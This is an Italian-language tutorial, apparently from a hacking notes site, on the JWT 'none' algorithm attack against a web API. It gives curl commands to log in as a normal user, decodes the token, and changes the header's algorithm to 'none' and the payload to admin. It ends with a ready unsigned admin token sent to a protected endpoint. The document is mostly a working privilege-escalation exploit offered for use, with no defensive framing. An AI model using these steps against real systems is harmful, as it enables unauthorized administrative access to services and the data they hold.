tags: None_Attack JWT_Hacking API_Hacking
Questo tipo di attacco si esegue provando a trogliere la secret key dal token JWT e vedere se accetta il cambiamento da user ad admin, se lo accetta possiamo elevare i nostri privilegi in modo molto semplice.
Per prima cosa, autenticati all’API con un utente normale e ottieni un token JWT:
curl -X POST -d "username=user&password=pass" https://api.target.com/loginOra analizziamo il JWT per capire cosa contiene. Puoi farlo su jwt.io o con jq in Linux:
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY" | cut -d "." -f2 | base64 -d | jqRisultato (payload del token):
{
"username": "user",
"admin": 0
}Vediamo che “admin” è impostato a 0, quindi siamo un utente normale.
Modificare il JWT per il None Attack
Ora modifichiamo l’header del JWT per usare “none” al posto di “HS256”.
{
"typ": "JWT",
"alg": "HS256"
}Modifica per None Attack:
{
"typ": "JWT",
"alg": "none"
}Poi modifichiamo il payload per diventare admin:
{
"username": "admin",
"admin": 1
}Ora codifichiamo questo header e questo payload in base64 tramite CyberChef o altro, li colleghiamo tramite un punto e li mandiamo al server in questo modo:
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOjF9." https://api.target.com/protected-endpointCome puoi vedere dal secondo punto in poi non c’è quello che ci dovrebbe essere ovvero la secret key.